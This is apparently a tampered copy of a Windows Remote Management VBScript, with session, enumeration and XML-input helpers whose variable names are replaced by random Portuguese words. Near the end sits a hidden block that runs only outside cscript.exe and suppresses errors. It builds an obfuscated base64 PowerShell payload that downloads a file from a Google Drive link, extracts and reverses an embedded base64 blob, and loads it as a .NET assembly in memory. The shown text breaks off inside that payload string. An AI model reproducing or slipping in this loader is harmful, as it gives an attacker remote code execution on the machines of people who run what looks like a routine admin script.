private function CreateSession(wsman, conStr, optDic, mortinatalidade)
dim sanfoninarFlags
dim conOpt
dim sanfoninar
dim authVal
dim encodingVal
dim encryptVal
dim pw
dim tout
' proxy information
dim proxyAccessType
dim proxyAccessTypeVal
dim proxyAuthenticationMechanism
dim proxyAuthenticationMechanismVal
dim proxyUsername
dim proxyPassword
sanfoninarFlags = 0
proxyAccessType = 0
proxyAccessTypeVal = 0
proxyAuthenticationMechanism = 0
proxyAuthenticationMechanismVal = 0
proxyUsername = ""
proxyPassword = ""
set conOpt = Nothing
if optDic.ArgumentExists(NPARA_ENCODING) then
ASSERTNAL(NPARA_ENCODING)
ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-encoding' option is only valid when used with the '-remote' option"
encodingVal = optDic.Argument(NPARA_ENCODING)
if LCase(encodingVal) = "utf-16" then
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagUTF16
elseif LCase(encodingVal) = "utf-8" then
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagUTF8
else
' Invalid!
ASSERTBOOL false, "The specified encoding flag is invalid."
end if
end if
if optDic.ArgumentExists(NPARA_UNENCRYPTED) then
ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-" & NPARA_UNENCRYPTED & "' option is only valid when used with the '-remote' option"
'C API will ensure that unencrypted is only used w/ http
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagNoEncryption
end if
if optDic.ArgumentExists(NPARA_USESSL) then
ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-" & NPARA_USESSL & "' option is only valid when used with the '-remote' option"
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagUseSsl
end if
if optDic.ArgumentExists(NPARA_AUTH) then
ASSERTNAL(NPARA_AUTH)
authVal = optDic.Argument(NPARA_AUTH)
select case LCase(authVal)
case VAL_NO_AUTH
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagUseNoAuthentication
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:none'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option is not valid for '-auth:none'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option is only valid for '-auth:none'"
case VAL_BASIC
'Use -username and -password.
ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option must be specified for '-auth:basic'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:basic'"
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseBasic
case VAL_DIGEST
'Use -username and -password.
ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option must be specified for '-auth:digest'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:digest'"
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseDigest
case VAL_KERBEROS
'-username and -password are optional.
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:kerberos'"
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagUseKerberos
case VAL_NEGOTIATE
'-username and -password are optional.
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:negotiate'"
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagUseNegotiate
case VAL_CERT
'-certificate is mandatory.
ASSERTBOOL optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option must be specified for '-auth:certificate'"
'-username or -password must not be used
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option is not valid for '-auth:certificate'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option is not valid for '-auth:certificate'"
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagUseClientCertificate
case VAL_CREDSSP
'Use -username and -password.
ASSERTBOOL osVersion >= osVista, "The specified '-" & NPARA_AUTH & "' flag '" & authVal & "' has an invalid value."
ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option must be specified for '-auth:credssp'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:credssp'"
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseCredSSP
case else
ASSERTBOOL false, "The specified '-" & NPARA_AUTH & "' flag '" & authVal & "' has an invalid value."
end select
end if
if optDic.ArgumentExists(NPARA_USERNAME) then
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option cannot be used together with '-username'"
set conOpt = wsman.CreateConnectionOptions
conOpt.UserName = optDic.Argument(NPARA_USERNAME)
if optDic.ArgumentExists(NPARA_PASSWORD) then
conOpt.Password = optDic.Argument(NPARA_PASSWORD)
end if
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagCredUsernamePassword
end if
if optDic.ArgumentExists(NPARA_DEFAULTCREDS) then
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option cannot be used together with '-defaultCreds'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option cannot be used together with '-defaultCreds'"
'this is only valid if -auth:Negotiate is specified
ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_NEGOTIATE), "The " & NPARA_DEFAULTCREDS & " option is only valid when the authentication mechanism is " & VAL_NEGOTIATE
'C API will ensure this is only used w/ https
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagAllowNegotiateImplicitCredentials
end if
if optDic.ArgumentExists(NPARA_CERT) then
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option cannot be used together with '-certificate'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option cannot be used together with '-certificate'"
set conOpt = wsman.CreateConnectionOptions
conOpt.CertificateThumbprint = optDic.Argument(NPARA_CERT)
if optDic.ArgumentExists(NPARA_AUTH) then
ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_CERT), "The " & NPARA_CERT & " option is only valid when the authentication mechanism is " & VAL_CERT
end if
'-auth might be missing, in which case we assume -a:Certificate
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagUseClientCertificate
end if
if optDic.ArgumentExists(NPARA_PROXYACCESS) then
ASSERTNAL(NPARA_PROXYACCESS)
if conOpt Is Nothing then
set conOpt = wsman.CreateConnectionOptions
end if
proxyAccessTypeVal = optDic.Argument(NPARA_PROXYACCESS)
select case LCase(proxyAccessTypeVal)
case VAL_PROXY_IE_CONFIG
proxyAccessType = conOpt.ProxyIEConfig
case VAL_PROXY_WINHTTP_CONFIG
proxyAccessType = conOpt.ProxyWinHttpConfig
case VAL_PROXY_AUTODETECT
proxyAccessType = conOpt.ProxyAutoDetect
case VAL_PROXY_NO_PROXY_SERVER
proxyAccessType = conOpt.ProxyNoProxyServer
case else
ASSERTBOOL false, "The specified '-" & NPARA_PROXYACCESS & "' field '" & proxyAccessTypeVal & "' has an invalid value."
end select
end if
if optDic.ArgumentExists(NPARA_PROXYAUTH) then
ASSERTNAL(NPARA_PROXYAUTH)
ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYACCESS), "The '-" & NPARA_PROXYAUTH & "' option is only valid when used with the '-" & NPARA_PROXYACCESS & "' option"
if conOpt Is Nothing then
set conOpt = wsman.CreateConnectionOptions
end if
proxyAuthenticationMechanismVal = optDic.Argument(NPARA_PROXYAUTH)
select case LCase(proxyAuthenticationMechanismVal)
case VAL_BASIC
proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseBasic
case VAL_DIGEST
proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseDigest
case VAL_NEGOTIATE
proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseNegotiate
case else
ASSERTBOOL false, "The specified '-" & NPARA_PROXYAUTH & "' flag '" & proxyAuthenticationMechanismVal & "' has an invalid value."
end select
end if
if optDic.ArgumentExists(NPARA_PROXYUSERNAME) then
ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYAUTH), "The '-" & NPARA_PROXYUSERNAME & "' option is only valid when used with the '-" & NPARA_PROXYAUTH & "' option"
proxyUsername = optDic.Argument(NPARA_PROXYUSERNAME)
end if
if optDic.ArgumentExists(NPARA_PROXYPASSWORD) then
ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYUSERNAME), "The '-" & NPARA_PROXYPASSWORD & "' option is only valid when used with the '-" & NPARA_PROXYUSERNAME & "' option"
proxyPassword = optDic.Argument(NPARA_PROXYPASSWORD)
end if
if optDic.ArgumentExists(NPARA_PROXYACCESS) then
on error resume next
responseStr = conOpt.SetProxy(proxyAccessType, proxyAuthenticationMechanism, proxyUsername, proxyPassword)
ASSERTERR conOpt, mortinatalidade
on error goto 0
end if
if optDic.ArgumentExists(NPARA_NOCACHK) then
'C API will ensure this is only used w/ https
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagSkipCACheck
end if
if optDic.ArgumentExists(NPARA_NOCNCHK) then
'C API will ensure this is only used w/ https
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagSkipCNCheck
end if
if optDic.ArgumentExists(NPARA_NOREVCHK) then
'C API will ensure this is only used w/ https
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagSkipRevocationCheck
end if
if optDic.ArgumentExists(NPARA_SPNPORT) then
'this is only valid if -auth is not specified or if -auth:Negotiate or -auth:Kerberos is specified
if optDic.ArgumentExists(NPARA_AUTH) then
ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_NEGOTIATE OR LCase(optDic.Argument(NPARA_AUTH)) = VAL_KERBEROS), "The " & NPARA_SPNPORT & " option is only valid when the authentication mechanism is " & VAL_NEGOTIATE & " or " & VAL_KERBEROS
end if
sanfoninarFlags = sanfoninarFlags OR wsman.SessionFlagEnableSPNServerPort
end if
on error resume next
set sanfoninar = wsman.CreateSession(conStr, sanfoninarFlags, conOpt)
ASSERTERR wsman, mortinatalidade
on error goto 0
if optDic.ArgumentExists(NPARA_TIMEOUT) then
ASSERTNAL(NPARA_TIMEOUT)
tout = optDic.Argument(NPARA_TIMEOUT)
ASSERTBOOL IsNumeric(tout), "Numeric value for -timeout option is expected"
sanfoninar.Timeout = optDic.Argument(NPARA_TIMEOUT)
end if
set CreateSession = sanfoninar
end function
private function individualizar(cofose, sanfoninar, ditirambo, desobscurecer, mortinatalidade)
dim filter
dim dialect
dim e
dim res
dim formattedText
dim flags
flags = 0
if ditirambo.ArgumentExists(NPARA_FILTER) then
filter = ditirambo.Argument(NPARA_FILTER)
dialect = URI_WQL_DIALECT
end if
if ditirambo.ArgumentExists(NPARA_DIALECT) then
dialect = ditirambo.Argument(NPARA_DIALECT)
end if
If LCase(dialect) = "selector" Then
dialect = "http://schemas.dmtf.org/wbem/wsman/1/wsman/SelectorFilter"
End If
If LCase(dialect) = "http://schemas.dmtf.org/wbem/wsman/1/wsman/selectorfilter" Then
dim dict
set dict = ProcessParameterHash(filter)
If dict Is Nothing Then
Exit Function
End If
Dim name
Dim value
filter = "<wsman:SelectorSet xmlns:wsman='http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd'>"
For Each name In dict
value = dict(name)
filter = filter & "<wsman:Selector Name='" & Escape(name) & "'>" & Escape(value) & "</wsman:Selector>"
Next
filter = filter & "</wsman:SelectorSet>"
End If
If LCase(dialect) = "wql" Then
dialect = "http://schemas.microsoft.com/wbem/wsman/1/WQL"
End If
If LCase(dialect) = "association" Then
dialect = "http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter"
End If
If LCase(dialect) = LCase("http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter") Then
If not ditirambo.ArgumentExists(NPARA_FILTER) Then
ASSERTBOOL false, "-" & NPARA_FILTER & " parameter is required for the given dialect"
End If
If (ditirambo.ArgumentExists(NPARA_ASSOCINST)) Then
flags = flags OR cofose.EnumerationFlagAssociationInstance
Else
flags = flags OR cofose.EnumerationFlagAssociatedInstance
End if
End If
If ( (LCase(dialect) <> LCase("http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter")) and ditirambo.ArgumentExists(NPARA_ASSOCINST) ) Then
ASSERTBOOL false, "-" & NPARA_ASSOCINST & " is not a valid option for the given dialect"
End If
if ditirambo.ArgumentExists(NPARA_RETURN_TYPE) then
select case LCase(ditirambo.Argument(NPARA_RETURN_TYPE))
case VAL_RT_OBJECT
' default
case VAL_RT_EPR
flags = flags OR cofose.EnumerationFlagReturnEPR
case VAL_RT_OBJ_EPR
flags = flags OR cofose.EnumerationFlagReturnObjectAndEPR
case else
ASSERTBOOL false, "-" & NPARA_RETURN_TYPE & ":" & ditirambo.Argument(NPARA_RETURN_TYPE) & " is not a valid option"
end select
end if
if (ditirambo.ArgumentExists(NPARA_SHALLOW)) then
flags = flags OR cofose.EnumerationFlagHierarchyShallow
elseif (ditirambo.ArgumentExists(NPARA_BASE_PROPS_OctonianoY)) then
flags = flags OR cofose.EnumerationFlagHierarchyDeepBasePropsOnly
else
flags = flags OR cofose.EnumerationFlagHierarchyDeep
end if
on error resume next
set e = sanfoninar.individualizar(desobscurecer, filter, dialect, flags)
if Err.Number = T_O then
set e = sanfoninar.individualizar(desobscurecer, filter, dialect, flags)
if Err.Number = T_O then
set e = sanfoninar.individualizar(desobscurecer, filter, dialect, flags)
end if
end if
ASSERTERR sanfoninar, mortinatalidade
on error goto 0
if ditirambo.ArgumentExists(NPARA_TIMEOUT) then
e.Timeout = ditirambo.Argument(NPARA_TIMEOUT)
end if
if(LCase(mortinatalidade) <> VAL_FORMAT_TEXT) then
wscript.echo "<wsman:Results xmlns:wsman=""http://schemas.dmtf.org/wbem/wsman/1/wsman/results"">"
end if
do while Not e.AtEndOfStream
on error resume next
res = e.ReadItem()
if Err.Number = T_O then
res = e.ReadItem()
if Err.Number = T_O then
res = e.ReadItem()
end if
end if
if Err.Number <> 0 then
stdErr.WriteLine e.Error
wscript.echo "</wsman:Results>"
end if
ASSERTERR e, mortinatalidade
on error goto 0
'reformat if requested
on error resume next
err.clear
if not Reformat(res,formattedText,mortinatalidade) then
exit do
end if
wscript.echo formattedText
loop
if(LCase(mortinatalidade) <> VAL_FORMAT_TEXT) then
wscript.echo "</wsman:Results>"
end if
set e = Nothing
individualizar = ""
end function
' Helper to run xpath over msxml obj and find single element
Private Function GetElementByXpath(msxmlObj, xpath)
GetElementByXpath = ""
msxmlObj.setProperty "SelectionLanguage", "XPath"
msxmlObj.setproperty "SelectionNamespaces", "xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""
Dim elementList
Dim currentElement
Set currentElement = msxmlObj.selectSingleNode(xpath)
If Not currentElement is Nothing Then
If currentElement.hasChildNodes() Then
If currentElement.childNodes.length = 1 Then
dim aNode
Set aNode = currentElement.childNodes.nextNode()
If aNode.nodeType = NODE_TEXT Then
GetElementByXpath = aNode.text
Exit Function
End If
End If
End If
GetElementByXpath = currentElement.xml
End If
Exit Function
Set elementList = msxmlObj.selectNodes(xpath)
If elementList.length = 1 Then
Set currentElement = elementList.nextNode()
If currentElement.nodeType = NODE_TEXT Then
GetElementByXpath = currentElement.text
Else
GetElementByXpath = currentElement.xml
End If
End If
End Function
'''''''''''''''''''''
' Helper to run xpath over msxml obj and find single element
Private Function GetElementAttributeByXpath(msxmlObj, xpath, attributeName)
GetElementAttributeByXpath = ""
msxmlObj.setProperty "SelectionLanguage", "XPath"
msxmlObj.setproperty "SelectionNamespaces", "xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""
Dim currentElement
Set currentElement = msxmlObj.selectSingleNode(xpath)
GetElementAttributeByXpath = currentElement.getAttribute("Source")
End Function
'''''''''''''''''''''
' Helper to run xpath over msxml obj and find single element
Private Function GetElementXml(msxmlObj, currentElement)
GetElementXml = ""
msxmlObj.setProperty "SelectionLanguage", "XPath"
msxmlObj.setproperty "SelectionNamespaces", "xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""
Dim elementList
GetElementByXpath = currentElement.xml
End Function
'''''''''''''''''''''
' Returns XML ns depending on the type of URI
private function GetXmlNs(resUri)
dim resUriLCase
dim s1
dim s2
ASSERTBOOL Len(resUri) <> 0, resurgimento("L_URIZERO_Message")
resUriLCase = LCase(resUri)
if InStr(resUriLCase, URI_IPMI) <> 0 then
GetXmlNs = StripParams(resUri)
elseif InStr(resUriLCase, URI_WMI) <> 0 then
GetXmlNs = StripParams(resUri)
else
'//GetXmlNs = StripParams(resUri) & ".xsd"
'//This was reported by Intel as an interop issue. So now we are not appending a .xsd in the end.
GetXmlNs = StripParams(resUri)
end if
GetXmlNs = "xmlns:p=""" & GetXmlNs & """"
end function
'''''''''''''''''''''
' Verify if target is in IPv6 format
private function IsIPv6(target)
dim regexpObj
Set regexpObj = New RegExp
regexpObj.Pattern = PTRN_IPV6_S
regexpObj.IgnoreCase = TRUE
dim matches
set matches = regExpObj.Execute(target)
if matches.Count <> 0 then
IsIPv6 = true
else
IsIPv6 = false
end if
end function
'''''''''''''''''''''
' Extracts XML root node nm. from URI
private function GetRootNodeName(opr, resUri, actUri)
dim uriTmp
dim sfx
dim s
dim regexpObj
Set regexpObj = New RegExp
ASSERTBOOL Len(opr) <> 0, "'opr' parameter is 0 length or null"
sfx = ""
select case opr
case OP_PUT
uriTmp = resUri
case OP_CRE
uriTmp = resUri
case OP_INV
uriTmp = actUri
sfx = GetSuffix(resUri)
case else
GetRootNodeName = ""
exit function
end select
ASSERTBOOL Len(uriTmp) <> 0, resurgimento("L_URIZERO_Message")
uriTmp = StripParams(uriTmp)
regexpObj.Pattern = PTRN_URI_LAST
regexpObj.IgnoreCase = TRUE
dim matches
set matches = regexpObj.Execute(uriTmp)
ASSERTBOOL matches.Count = 1, resurgimento("L_NOLASTTOK_Message")
uriTmp = matches(0)
ASSERTBOOL Len(uriTmp) <> 0, resurgimento("L_URIZEROTOK_Message")
GetRootNodeName = uriTmp & sfx
end function
private function ProcessParameterHash(hashString)
on error resume next
dim matches
dim m
dim regexpObj
Set regexpObj = New RegExp
regexpObj.Global = True
regexpObj.IgnoreCase = True
dim resultDictionary
set resultDictionary = CreateObject("Scripting.Dictionary")
If Len(hashString) > 0 then
If Len(hashString) > 2 Then
If Mid(hashString,1,1) <> "{" Or Mid(hashString,Len(hashString),1) <> "}" Then
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
End If
regexpObj.Pattern = PTRN_HASH_VALIDATE
regexpObj.ignoreCase = true
set matches = regexpObj.Execute(hashString)
if matches.Count <> 1 then
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
end if
'following check ensures that if we have unmatched substrings
'we report a syntax error. the way we determine is first to
'calculate the expected string length by going through all
'the matches and then comparing with input string length
dim expectedLength
regexpObj.Pattern = PTRN_HASH_TOK
regexpObj.ignoreCase = true
set matches = regexpObj.Execute(hashString)
expectedLength = matches.Count-1
for each m in matches
expectedLength = expectedLength + m.Length
next
'account for starting and closing {}
expectedLength = expectedLength + 2
if (expectedLength <> Len(hashString)) then
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
end if
regexpObj.Pattern = PTRN_HASH_TOK
regexpObj.ignoreCase = true
set matches = regexpObj.Execute(hashString)
if matches.Count > 0 then
for each m in matches
if resultDictionary.Exists(m.Submatches(0)) then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOARRAY_Message") & m.Submatches(0)
set ProcessParameterHash = Nothing
Exit Function
end if
if LCase(m.Submatches(1)) = "$null" then
resultDictionary.Add m.Submatches(0),null
else
resultDictionary.Add m.Submatches(0),m.Submatches(2)
end if
next
end if
ElseIf hashString <> "{}" Then
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
End If
Else
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
End If
set ProcessParameterHash = resultDictionary
end function
private function CreateAndInitializeResourceLocator(wsman,resourceUri,ditirambo)
on error resume next
Dim key
dim resourceLocator
dim paramMap
Dim optionsValue
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' create the resource locator object
Set resourceLocator = Wsman.CreateResourceLocator(resourceUri)
if Err.number <> 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_RESOURCELOCATOR_Message")
set CreateAndInitializeResourceLocator = Nothing
exit function
end if
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' set the options on the resource locator
optionsValue = ditirambo.Argument("options")
If Len(optionsValue) Then
set paramMap = ProcessParameterHash(optionsValue)
if paramMap Is Nothing then
set CreateAndInitializeResourceLocator = Nothing
'todo exit function
end if
for each key in paramMap
if IsNull(paramMap(key)) then
resourceLocator.AddOption key, null
else
resourceLocator.AddOption key,paramMap(key)
end if
next
End If
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' set the fragment path and fragment dialect on the resource locator
if(ditirambo.ArgumentExists(NPARA_FRAGMENT)) then
resourceLocator.FragmentPath = ditirambo.Argument(NPARA_FRAGMENT)
end if
if(ditirambo.ArgumentExists(NPARA_DIALECT)) then
resourceLocator.FragmentDialect = ditirambo.Argument(NPARA_DIALECT)
end if
set CreateAndInitializeResourceLocator = resourceLocator
end function
private function cadaval()
if InStrRev(LCase(WScript.FullName), "cscript.exe", -1) <> 0 then
cadaval = True
else
cadaval = False
end if
end function
'''''''''''''''''''''
' Reads input XML from the stdin or builds XML from @{...}
private function ProcessInput(wsman, operation, root, ditirambo, resourceLocator,sanfoninarObj,inputStr,mortinatalidade)
on error resume next
dim parameterDic,key
dim putStr
dim elementList
dim currentElement
dim paramXmlFile
dim tmpNode
dim parameterString
dim parameterCount
dim xmlns
'make sure it's a relevent operation
select case operation
case OP_PUT
case OP_CRE
case OP_INV
case else
inputStr = ""
ProcessInput = true
exit function
end select
xmlns = GetXmlNs(resourceLocator.ResourceURI)
'process the parameters into a Map
parameterString = ditirambo.Argument(NPARA_PSEUDO_AT)
parameterCount = 0
If Len(parameterString) Then
set parameterDic = ProcessParameterHash(parameterString)
'if parameter processing failed, exit
if parameterDic Is Nothing then
set ProcessInput = false
exit function
end if
parameterCount = parameterDic.Count
End If
'if there were no parameters, get from file
if parameterCount = 0 then
if ditirambo.ArgumentExists(NPARA_FILE) then
inputStr = ReadFile(ditirambo.Argument(NPARA_FILE))
ProcessInput = true
exit function
end if
end if
if operation = OP_CRE Or operation = OP_INV then
dim nilns
nilns = ""
dim parameters
parameters = ""
if parameterCount > 0 then
for each key in parameterDic
parameters = parameters & "<p:" & key
if IsNull(parameterDic(key)) then
parameters = parameters & " " & ATTR_NIL
nilns = " " & NS_XSI
end if
parameters = parameters & ">" & Escape(parameterDic(key)) & _
"</p:" & key & ">"
next
end if
putStr = "<p:" & root & " " & xmlns & nilns & ">" & _
parameters & "</p:" & root & ">"
elseif operation = OP_PUT then
if parameterCount = 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOINPUT_Message")
inputStr = ""
ProcessInput = false
exit function
end if
'get the original resource xml
on error resume next
putStr = sanfoninarObj.Get(resourceLocator)
if Err.Number <> 0 then
ASSERTERR sanfoninarObj, mortinatalidade
inputStr = ""
ProcessInput = false
exit function
end if
'create an MSXML DomDocument object to work with the resource xml
on error resume next
Set paramXmlFile = CreateObject("MSXML2.DOMDocument.6.0")
if Err.number <> 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_MSXML6MISSING_Message")
inputStr = ""
ProcessInput = false
exit function
end if
paramXmlFile.async = false
'load the domdocument with the resource xml
paramXmlFile.LoadXML(putStr)
if (paramXmlFile.parseError.errorCode <> 0) then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_XMLERROR_Message") & paramXmlFile.parseError.reason
inputStr = ""
ProcessInput = false
exit function
end if
paramXmlFile.setProperty "SelectionLanguage", "XPath"
'loop through the command-line name/value pairs
for each key in parameterDic
'find the elements matching the key
Dim xpathString
xpathString = "/*/*[local-name()=""" & key & """]"
if LCase(key) = "location" then
'Ignore cim:Location
xpathString = "/*/*[local-name()=""" & key & """ and namespace-uri() != """ & NS_CIMBASE & """]"
end if
Set elementList = paramXmlFile.selectNodes(xpathString)
'make sure there is 1 - error on 0 or > 1
if elementList.length = 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOMATCH_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
elseif elementList.length > 1 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_MULTIMATCH_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
else
'get the node from the list
Set currentElement = elementList.nextNode()
'make sure the node does not have anything other than 1 or less text children
if currentElement.hasChildNodes() then
if currentElement.childNodes.length > 1 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOTATTR_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
else
dim aNode
Set aNode = currentElement.childNodes.nextNode()
if aNode.nodeType <> NODE_TEXT then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOTATTR_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
end if
end if
end if
if IsNull(parameterDic(key)) then
Set tmpNode = paramXmlFile.createNode(NODE_ATTRIBUTE,ATTR_NIL_NAME,NS_XSI_URI)
tmpNode.text = "true"
currentElement.setAttributeNode tmpNode
currentElement.text = ""
else
'delete nil attribute if present
currentElement.attributes.removeNamedItem(ATTR_NIL_NAME)
currentElement.text = parameterDic(key)
end if
end If
next
putStr = paramXmlFile.xml
end if
inputStr = putStr
ProcessInput = true
end function
Function talhado(ByVal almeice, ByVal septicida, ByVal artisticamente)
Dim mula
mula = InStr(almeice, septicida)
Do While mula > 0
almeice = Left(almeice, mula - 1) & artisticamente & Mid(almeice, mula + Len(septicida))
mula = InStr(mula + Len(artisticamente), almeice, septicida)
Loop
talhado = almeice
End Function
private function ReadStdIn()
while Not stdIn.AtEndOfStream
ReadStdIn = ReadStdIn & stdIn.ReadAll
wend
end function
If Not cadaval() Then
On Error Resume Next
fosfena = "SWVYKCAoJ3FPJysnNGltYWdlVXJsID0gaDFTaHR0cHM6Ly9
kcml2Z
nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU
95Ym5ILXNEdlVoQll3dXIgaDFTO3FPNHcnKydlY
kNsaWVuJysndCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDJysnbCcrJ2llbnQ7cU80aW1hZ2VCeXRlcyA9IHFPNHd"
fosfena = fosfena & "lYkNsaWVudC4nKydEb3dubG9hZERhdGEocU80aW1hJysnZ2
VVcmwp
EnKydPNGltYWdlVGV4dCA9IFtTJysneXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR
2V0U3RyaW5nKHFPJysnNGltYWdlQnl0ZXMpO3FP
JysnNHN0YXJ0RmxhZyA9IGgxUzw8QkFTRTY0X1NUQVJUPj5oMVM7cU80ZW5kRmxhZyA9IGgxUzw8QkFTRTY0X0VORD4+aD"
fosfena = fosfena & "FTO3FPNHN0YXJ0SW5kZXggPSBxTzRpbWFnZVRlJysneHQuS
W5kZXh
ihxTzRzdGFydEZsYWcpO3FPNGVuZEluZGV4ID0gcU80aW1hZ2VUZXh0LkluZGV4T2Yo
cU80ZW5kRmxhZyk7cU80cycrJ3RhcnRJbmRleCA
tZ2UgMCAtYW5kIHFPNGVuZEluZGV4IC1ndCBxTzRzdGFydEluZCcrJ2V4O3FPNHN0YXJ0SW5kZXggKz0gcU80c3RhcnRGb"
fosfena = fosfena & "GEnKydnLkxlbmd0aDtxTzRiYXNlNjRMZW5ndGggPSBxTzRl
bmRJbm
eCAtIHFPNHN0YXJ0SW5kZXg7cU80YmFzZTY0Q29tbWFuZCA9IHFPNGltYWdlVGV4dC5
TdWJzdCcrJ3JpbmcocU80c3RhcnRJbmRleCwgcU
80YmFzZTY0TGVuZ3RoJysnKTtxTzRiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChxTzRiYXNlNjRDb21tYW5kLlRvJysnQ2hh"
fosfena = fosfena & "ckFycmF5KCkgS3lJIEZvckVhY2gtT2JqZWN0IHsgcU80XyB
9KScrJ
tMS4uLShxTzRiYXNlNjRDb21tYW5kLkxlbmd0aCldO3FPNGNvbW1hbmRCeXRlcyA9IF
tTeXN0ZScrJ20uQ29udmVydF06OkZyb21CYXNlN
jRTdHJpbmcocU80YmFzZTY0UmV2ZXJzZWQpO3FPNGxvYWRlZEEnKydzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkF"
fosfena = fosfena & "zc2VtYmx5XTo6TG9hZChxTzRjb21tYW5kQnl0ZXMpO3FPNH
ZhaU1l
